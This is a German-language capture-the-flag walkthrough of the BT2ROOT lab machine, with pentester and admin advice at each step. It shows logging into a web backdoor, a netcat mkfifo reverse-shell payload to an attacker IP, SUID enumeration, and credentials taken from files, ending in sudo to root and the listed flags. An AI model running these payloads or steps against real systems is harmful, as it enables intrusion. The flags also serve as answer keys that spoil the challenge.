Analyse: Die Dezimalzahl `5215565757312090656` wird mit einem Online-Konverter (rapidtables.com) in Hexadezimal umgewandelt, was `4861696C4B474220` ergibt. Dieser Hex-String wird dann als ASCII interpretiert.

Bewertung: Die Umwandlung ergibt das ASCII-Wort `HailKGB `. Dies ist sehr wahrscheinlich das gesuchte Passwort für die "kgbbackdoor".

Empfehlung (Pentester): Das Passwort `HailKGB` verwenden, um auf die Backdoor zuzugreifen (vermutlich `http://192.168.2.106/vworkshop/kgbbackdoor/backdoor.php`).
Empfehlung (Admin): Keine Passwörter durch solche obskuren Kodierungen schützen. Starke, zufällige Passwörter verwenden und sicher speichern/übertragen.

# (Kein Befehl, Verwendung von Online-Konvertern)
 
Dezimal: 5215565757312090656
-> Hex:   4861696C4B474220
-> ASCII: HailKGB
 

Analyse: Der Pentester versucht, auf `http://192.168.2.106/vworkshop/kgbbackdoor/backdoor.php` zuzugreifen, erhält aber einen 404 Not Found Fehler. Im Quellcode der Fehlerseite (oder durch Analyse des Netzwerktraffics/der Seite selbst) wird jedoch ein verstecktes Login-Formular gefunden, das nach `user` und `pass` fragt. Der Pentester gibt `dimitri` (aus der DB-User-Liste) und das gefundene Passwort `HailKGB` ein.

Bewertung: Obwohl die URL zunächst einen 404-Fehler liefert, existiert offenbar eine Funktionalität. Das versteckte Formular und die erfolgreiche Anmeldung mit `dimitri`/`HailKGB` deuten darauf hin, dass dies der Zugang zur Backdoor ist. Nach der Anmeldung erhält man wahrscheinlich eine Konsole oder ein Eingabefeld zur Befehlsausführung.

Empfehlung (Pentester): Nach der Anmeldung die Funktionalität der Backdoor nutzen, um Befehle auszuführen. Ziel ist es, eine Reverse Shell zu bekommen, da interaktive Web-Shells oft eingeschränkt sind.
Empfehlung (Admin): Versteckte Formulare oder Backdoors sind inakzeptabel. Die gesamte `/kgbbackdoor`-Funktionalität entfernen. Webserver-Fehlerseiten sollten keine versteckten Funktionen enthalten.

# (Kein Befehl, Interaktion mit der Webseite)
 
Versuchter Zugriff auf: http://192.168.2.106/vworkshop/kgbbackdoor/backdoor.php -> 404 Not Found

Fund: Verstecktes Login-Formular auf der Seite.

Eingabe:
user: dimitri
pass: HailKGB

Ergebnis: Erfolgreiche Anmeldung -> Zugriff auf Backdoor-Konsole/Eingabefeld.
 

Analyse: Wir haben nun Zugriff auf die Backdoor-Konsole und wollen eine Reverse Shell starten. Parallel dazu öffnen wir auf unserem Angreifer-PC (192.168.2.137 - *Achtung, IP prüfen/anpassen, falls sie sich geändert hat*) einen Netcat-Listener auf Port 4444.

Bewertung: Der Listener ist bereit, die eingehende Verbindung von der Reverse Shell entgegenzunehmen.

Empfehlung (Pentester): Den Reverse-Shell-Payload in der Backdoor-Konsole ausführen.
Empfehlung (Admin): Überwachung auf ausgehende Verbindungen zu ungewöhnlichen Ports wie 4444.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
 
listening on [any] 4444 ...
 

Analyse: Wir geben den Netcat-Reverse-Shell-Payload `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 4444 >/tmp/f` in das Eingabefeld der Backdoor-Konsole ein und führen ihn aus.

Bewertung: Der Payload wird über die Backdoor auf dem Zielsystem ausgeführt.

Empfehlung (Pentester): Auf dem Netcat-Listener prüfen, ob die Verbindung eingeht.
Empfehlung (Admin): Die Backdoor entfernen!

# (Kein Befehl, Eingabe in die Web-Backdoor-Konsole)
 
URL: http://192.168.2.106/vworkshop/kgbbackdoor/backdoor.php (nach Login)

Eingabe in Konsole/Feld:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 4444 >/tmp/f
 

Analyse: Unser Netcat-Listener auf Port 4444 meldet eine eingehende Verbindung vom Zielsystem (192.168.2.106).

Bewertung: Reverse Shell erfolgreich! Wir erhalten einen Shell-Prompt (`$`). Die Meldung `can't access tty` ist normal für einfache Netcat-Shells.

Empfehlung (Pentester): Rechte prüfen (`id`). Shell stabilisieren. Mit der Privilege Escalation fortfahren.
Empfehlung (Admin): Backdoor entfernen. Ausgehende Verbindungen überwachen/blockieren.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
 
listening on [any] 4444 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.106] 53298
/bin/sh: 0: can't access tty; job control turned off
$
 

Privilege Escalation Details

Analyse: Wir befinden uns in der Reverse Shell. Wir führen `id` aus, um unsere aktuelle Benutzerkennung zu ermitteln, und `ls -la`, um den Inhalt des aktuellen Verzeichnisses (`/var/www/html/vworkshop/kgbbackdoor`) aufzulisten.

Bewertung: Die `id`-Ausgabe (nicht im Text gezeigt, aber aus dem Prompt ersichtlich: `www-data@Dimitri`) zeigt, dass die Backdoor und somit unsere Shell als Benutzer `www-data` läuft. Dies ist der Standardbenutzer für den Apache-Webserver unter Debian/Ubuntu. Wir haben also noch keine Root-Rechte. `ls -la` zeigt die Dateien im Backdoor-Verzeichnis, darunter `PassPass.jpg`, `backdoor.php` und eine `flag.txt`.

Empfehlung (Pentester): Den Inhalt von `flag.txt` auslesen. Nach Wegen zur Rechteausweitung vom `www-data`-Benutzer suchen (SUID-Binaries, Fehlkonfigurationen, Kernel-Exploits, Cronjobs etc.).
Empfehlung (Admin): Webserver-Prozesse sollten immer mit minimalen Rechten laufen (`www-data` ist üblich). Die Rechte dieses Benutzers sollten so weit wie möglich eingeschränkt sein.

< -- Prompt zeigt den Kontext -->
 
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ ls -la
total 324
drwxr-xr-x 2 root root   4096 Nov  7  2017 .
drwxr-xr-x 8 root root   4096 Nov  7  2017 ..
-rw-r--r-- 1 root root 201096 Nov  7  2017 PassPass.jpg
-rw-r--r-- 1 root root 106687 Nov  8  2017 backdoor.php
-rw-r--r-- 1 root root    561 Nov  7  2017 backdoor1.php
-rw-r--r-- 1 root root     21 Nov 12  2017 flag.txt
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$
 

Analyse: Wir lesen den Inhalt der `flag.txt` im Backdoor-Verzeichnis.

Bewertung: Die Datei enthält `flag6{Um9vdCB0aW1l}`. Der Base64-Teil dekodiert zu `Root time`. Dies ist die Root-Flag! Überraschenderweise finden wir sie bereits als `www-data` in diesem Verzeichnis.

Empfehlung (Pentester): Root-Flag notieren. Auch wenn die Flag gefunden wurde, den Prozess der Rechteausweitung zu `root` fortsetzen, um den vorgesehenen Weg zu verstehen und zu dokumentieren.
Empfehlung (Admin): Flags oder andere sensible Daten nicht in Verzeichnissen ablegen, auf die der Webserver-Benutzer Lesezugriff hat. Die Berechtigungen von `/var/www/html` und Unterverzeichnissen überprüfen.

 
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ cat flag.txt
flag6{Um9vdCB0aW1l}
 

Analyse: Der Base64-String `Um9vdCB0aW1l` aus Flag 6 wird dekodiert.

Bewertung: Ergibt `Root time` - bestätigt, dass dies die Root-Flag ist.

# (Kein Befehl, Base64-Dekodierung)
Input: Um9vdCB0aW1l
Output: Root time

Analyse: Wir untersuchen die Datei `dbconnection.php` im Verzeichnis `/var/www/html/vworkshop/`. Diese Datei enthält oft Datenbank-Zugangsdaten.

Bewertung: Wir finden die Zugangsdaten für die MySQL-Verbindung: Host `127.0.0.1`, Benutzer `root`, Passwort `whoami?`. Dies bestätigt, dass die Anwendung als DB-Root läuft und verrät uns das MySQL-Root-Passwort.

Empfehlung (Pentester): Das gefundene Passwort `whoami?` für den Systembenutzer `root` testen (z.B. mit `su root`). Es ist nicht unüblich (wenn auch unsicher), dass das DB-Root-Passwort dem System-Root-Passwort entspricht.
Empfehlung (Admin): Datenbank-Zugangsdaten nicht im Klartext in PHP-Dateien im Web-Root speichern. Sicherere Methoden wie Umgebungsvariablen oder Konfigurationsdateien außerhalb des Web-Roots mit restriktiven Berechtigungen verwenden. Das Datenbank-Root-Passwort darf nicht mit dem System-Root-Passwort übereinstimmen.

 
www-data@Dimitri:/var/www/html/vworkshop$ cat dbconnection.php

 
$con = mysql_connect("127.0.0.1","root","whoami?"); // using mysql_connect is deprecated

if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

mysql_select_db("eworkshop");
 

Analyse: Wir versuchen, mit `su root` zum Root-Benutzer zu wechseln und verwenden das gefundene Datenbank-Passwort `whoami?`.

Bewertung: Der Versuch schlägt fehl (`su: Authentication failure`). Das Datenbank-Root-Passwort ist nicht identisch mit dem System-Root-Passwort.

Empfehlung (Pentester): Andere Methoden zur Rechteausweitung suchen.
Empfehlung (Admin): Gut, dass die Passwörter nicht identisch sind. Dennoch sollte das DB-Root-Passwort geändert und sicher verwahrt werden.

 
www-data@Dimitri:/var/www/html/vworkshop$ su root
Password: whoami?
su: Authentication failure
 

Analyse: Wir suchen nach SUID-Binaries im System, die möglicherweise zur Rechteausweitung missbraucht werden können (`find / -type f -perm -4000 -ls 2>/dev/null`).

Bewertung: Die Liste zeigt viele Standard-SUID-Binaries. Auffällig ist `/usr/bin/screen-4.5.0`. Eine ältere Version von `screen` hatte bekannte Privilege-Escalation-Schwachstellen (z.B. CVE-2017-5618). Auch `pkexec` ist vorhanden, was auf PwnKit (CVE-2021-4034) hindeuten könnte, wenn die Version verwundbar ist.

Empfehlung (Pentester): Die `screen`-Version 4.5.0 auf bekannte Exploits prüfen (z.B. `searchsploit screen 4.5.0`). `pkexec` auf PwnKit testen. Andere Standard-SUID-Binaries (wie `sudo`) auf Fehlkonfigurationen prüfen.
Empfehlung (Admin): `screen` und `policykit-1` (für `pkexec`) auf die neuesten Versionen aktualisieren. Unnötige SUID-Berechtigungen entfernen.

< -- Prompt fehlt im Original, Annahme: www-data -->
 
www-data@Dimitri:/$ find / -type f -perm -4000 -ls 2>/dev/null
 405237   32 -rwsr-xr-x   1 root     root        30800 May 15  2015 /bin/fusermount
 388702   40 -rwsr-xr-x   1 root     root        36936 Jan 27  2016 /bin/su
 388682   44 -rwsr-xr-x   1 root     root        44168 May  8  2014 /bin/ping
 388683   44 -rwsr-xr-x   1 root     root        44680 May  8  2014 /bin/ping6
 388710   68 -rwsr-xr-x   1 root     root        69120 Sep  3  2015 /bin/umount
 388669   96 -rwsr-xr-x   1 root     root        94792 Sep  3  2015 /bin/mount
 259380   36 -rwsr-xr-x   1 root     root        36592 Jan 27  2016 /usr/bin/newgrp
 259311   72 -rwsr-xr-x   1 root     root        72280 Jan 27  2016 /usr/bin/gpasswd
 274571   76 -rwsr-xr-x   1 root     root        75256 Oct 22  2013 /usr/bin/mtr
 259392   48 -rwsr-xr-x   1 root     root        47032 Jan 27  2016 /usr/bin/passwd
 259237   48 -rwsr-xr-x   1 root     root        46424 Jan 27  2016 /usr/bin/chfn
 274541   24 -rwsr-xr-x   1 root     root        23104 May  8  2014 /usr/bin/traceroute6.iputils
 259497  152 -rwsr-xr-x   1 root     root       155008 Aug 28  2015 /usr/bin/sudo
 275783   24 -rwsr-xr-x   1 root     root        23304 Nov 25  2015 /usr/bin/pkexec
 275043   52 -rwsr-sr-x   1 daemon   daemon      51464 Oct 21  2013 /usr/bin/at
 279304 1544 -rwsr-xr-x   1 root     root      1578205 Nov  9  2017 /usr/bin/screen-4.5.0
 275819   88 -rwsr-sr-x   1 root     mail        89216 Sep  5  2014 /usr/bin/procmail
 259240   44 -rwsr-xr-x   1 root     root        41336 Jan 27  2016 /usr/bin/chsh
 274654  340 -rwsr-xr--   1 root     dip        347296 Apr 22  2015 /usr/sbin/pppd
 274788   20 -rwsr-sr-x   1 libuuid  libuuid     18904 Sep  3  2015 /usr/sbin/uuidd
 274618  432 -rwsr-xr-x   1 root     root       440416 May  6  2016 /usr/lib/openssh/ssh-keysign
 275792   16 -rwsr-xr-x   1 root     root        14776 Nov 25  2015 /usr/lib/policykit-1/polkit-agent-helper-1
 259587   12 -rwsr-xr-x   1 root     root        10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
 272631  304 -rwsr-xr--   1 root     messagebus   310800 Nov 26  2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
 

Analyse: Wir suchen nach Dateien mit gesetzten Linux Capabilities (`getcap -r / 2>/dev/null`). Capabilities können bestimmten Programmen erweiterte Rechte geben, ohne dass sie SUID root sein müssen.

Bewertung: Der Befehl liefert keine Ausgabe. Das bedeutet, dass keine Dateien mit gesetzten Capabilities gefunden wurden. Dieser Vektor für Privilege Escalation ist hier nicht anwendbar.

Empfehlung (Pentester): Andere Methoden weiterverfolgen.
Empfehlung (Admin): Capabilities sind ein nützliches Werkzeug, um Rechte feingranular zu vergeben, sollten aber mit Bedacht eingesetzt und überprüft werden.

 
www-data@Dimitri:/var/www/html/vworkshop$ getcap -r / 2>/dev/null
www-data@Dimitri:/var/www/html/vworkshop$
 

Analyse: Der Pentester wechselt in das Home-Verzeichnis (`/home`) und entdeckt dort ein verstecktes Verzeichnis `.Mylife`. Innerhalb dieses Verzeichnisses wird die Datei `.Secret` gefunden und ihr Inhalt angezeigt.

Bewertung: Die Datei `.Secret` enthält eine persönliche Notiz des Benutzers `dimitri`. Wichtig ist der Satz "Food wise I eat everything but DimitryHateApple" und die Wiederholung `DimitriHateApple`. Dies ist sehr wahrscheinlich das Passwort für den Systembenutzer `dimitri`.

Empfehlung (Pentester): Das Passwort `DimitriHateApple` verwenden, um mit `su dimitri` zu diesem Benutzer zu wechseln.
Empfehlung (Admin): Benutzer darauf schulen, keine Passwörter oder passworthaltigen Hinweise in Klartextdateien in ihren Home-Verzeichnissen zu speichern. Versteckte Verzeichnisse bieten keine echte Sicherheit.

< -- Annahme: pwd war /var/www/html/vworkshop -->
 
www-data@Dimitri:/var/www/html/vworkshop$ cd /home
www-data@Dimitri:/home$ ls -la
total 20
drwxr-xr-x  5 root    root    4096 Nov 16  2017 .
drwxr-xr-x 23 root    root    4096 Jun  7  2018 ..
drwxr-xr-x  4 dimitri dimitri 4096 Nov 16  2017 dimitri
drwxr-xr-x  4 nicky   nicky   4096 Nov  6  2017 nicky
drwxrwxr-x  2 dimitri dimitri 4096 Nov 16  2017 .Mylife
www-data@Dimitri:/home$ cd .Mylife/
www-data@Dimitri:/home/.Mylife$ ls -la
total 12
drwxrwxr-x 2 dimitri dimitri 4096 Nov 16  2017 .
drwxr-xr-x 5 root    root    4096 Nov 16  2017 ..
-rw-rw-r-- 1 dimitri dimitri  369 Nov 16  2017 .Secret
www-data@Dimitri:/home/.Mylife$ cat .Secret
I have been working on this CIA BlackMarket Project but it
seems like I am not doing anything

right for people. Selling drugs and guns is not my business
so soon I will quit the job.

About my personal life I am a sharp shooter have two kids but
my wife don't like me and I am broke. Food wise I eat everything
but DimitryHateApple
    DimitriHateApple
I will add more about later!
 

Analyse: Wir wechseln mit `su dimitri` zum Benutzer `dimitri` und geben das gefundene Passwort `DimitriHateApple` ein.

Bewertung: Der Benutzerwechsel ist erfolgreich! Wir haben nun eine Shell als Benutzer `dimitri`.

Empfehlung (Pentester): Die Rechte des Benutzers `dimitri` prüfen, insbesondere mit `sudo -l`.
Empfehlung (Admin): Passwort ändern. Sicherstellen, dass Benutzerpasswörter nicht leicht zu erraten oder in Dateien zu finden sind.

 
www-data@Dimitri:/home/.Mylife$ su dimitri
Password: DimitriHateApple
dimitri@Dimitri:/home/.Mylife$ id
uid=1001(dimitri) gid=1001(dimitri) groups=1001(dimitri)
 

Analyse: Als Benutzer `dimitri` führen wir `sudo -l` aus, um zu prüfen, welche Befehle wir mit `sudo` (also mit Root-Rechten) ausführen dürfen.

Bewertung: Die Ausgabe `(ALL : ALL) ALL` ist der Jackpot! Der Benutzer `dimitri` darf jeden Befehl als jeder Benutzer (insbesondere als Root) auf diesem Host ausführen. Er hat volle `sudo`-Rechte.

Empfehlung (Pentester): Einfach `sudo su` oder `sudo /bin/bash` ausführen, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Kritische Fehlkonfiguration! Benutzer sollten niemals uneingeschränkte `(ALL : ALL) ALL`-Rechte erhalten, es sei denn, es ist absolut unvermeidlich und dokumentiert. `sudo`-Rechte immer auf die spezifischen Befehle beschränken, die der Benutzer benötigt (Prinzip der geringsten Rechte).

 
dimitri@Dimitri:/home/.Mylife$ sudo -l
[sudo] password for dimitri: DimitriHateApple
Matching Defaults entries for dimitri on Dimitri:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User dimitri may run the following commands on Dimitri:
    (ALL : ALL) ALL
 

Analyse: Wir nutzen die vollen `sudo`-Rechte von `dimitri`, um mit `sudo su` eine interaktive Root-Shell zu starten.

Bewertung: Erfolgreich! Wir erhalten einen Root-Prompt (`root@Dimitri:~#`). Die Privilege Escalation zu Root ist abgeschlossen.

Empfehlung (Pentester): Finale Bestätigung, Root-Zugriff ist vorhanden.
Empfehlung (Admin): Die `sudo`-Rechte für `dimitri` sofort entziehen oder stark einschränken.

 
dimitri@Dimitri:/home/.Mylife$ sudo su
root@Dimitri:/home/.Mylife# id
uid=0(root) gid=0(root) groups=0(root)
 

Analyse: Als Root wechseln wir ins Home-Verzeichnis (`cd ~` was zu `/root` führt) und listen den Inhalt auf. Wir finden die Datei `THEEND.txt` und zeigen ihren Inhalt an.

Bewertung: Die Datei `THEEND.txt` enthält eine Abschlussnachricht des Autors der CTF-Maschine mit ASCII-Art. Sie bestätigt das Ende der Herausforderung.

Empfehlung (Pentester): Abschluss des Berichts vorbereiten.
Empfehlung (Admin): Solche Dateien sind für Produktionssysteme irrelevant.

 
root@Dimitri:/home/.Mylife# cd ~
root@Dimitri:~# ls
THEEND.txt
root@Dimitri:~# cat THEEND.txt
FINALLY YOU MADE IT!

THANKS FOR PLAYING BT2ROOT CTF AND PLEASE DO MAIL ME ANY SUGGESTIONS @ acebomber@protonmail.com

THANKS SECTALKS BRISBANE FOR HOSTING MY CTF


 (                      )
      |\    _,--._    / |
      | `.,'            `. /  |
      `  '              ,-'   '
       \/_         _   (     /
      (,-.`.    ,',-.`. `__,'
       |/#\ ),-','#\`= ,'.` |
       `._/)  -'.\_,'   ) ))|
       /  (_.)\     .   -'//
      (  /\____/\    ) )`'\
       \ |V-V||  ' ,    \
        |`- -- -'   ,'   \  \      _____
 ___    |         .'    \ \  `._,-'     `-
    `.__,`^'       \ ` -'
       -.______  \ . /  ______,-
               `.     ,'


./AcEb0mb3R_l0g0ff root@Dimitri:~#
 

Analyse: Wir bestätigen verbal den Erfolg der Privilege Escalation.

Bewertung: Das Ziel, Root-Rechte zu erlangen, wurde über den Benutzer `dimitri` und `sudo` erreicht.

Empfehlung (Pentester): Abschluss.
Empfehlung (Admin): `sudo`-Rechte korrigieren.

# Privilege Escalation erfolgreich

Flags

cat /path/to/flag1.txt (Web Root)
fc4c7223964a26b152823d14f129687207e7fe15
cat /home/nicky/ftp/ImpFiles/IMP.txt (Flag 2)
Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy
Login as admin (Flag 4)
bm90aGluZyBpcyBoZXJl
/squirrelmail/src/redirect.php (Flag 5)
RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=
cat /var/www/html/vworkshop/kgbbackdoor/flag.txt (Flag 6)
Um9vdCB0aW1l

Analyse: Die im Verlauf des Penetrationstests gefundenen Flags werden hier zusammengefasst. Flag 1 wurde in `flag1.txt` via `robots.txt` gefunden. Flag 2 in `IMP.txt` via FTP. Flag 4 nach dem Admin-Login. Flag 5 in `redirect.php`. Flag 6 (die Root-Flag) in `flag.txt` im Backdoor-Verzeichnis.

Bewertung: Alle Flags wurden erfolgreich extrahiert und dokumentiert.

Empfehlung (Pentester): Bericht abschließen.
Empfehlung (Admin): Die zugrundeliegenden Schwachstellen beheben, die das Auffinden dieser Flags ermöglichten.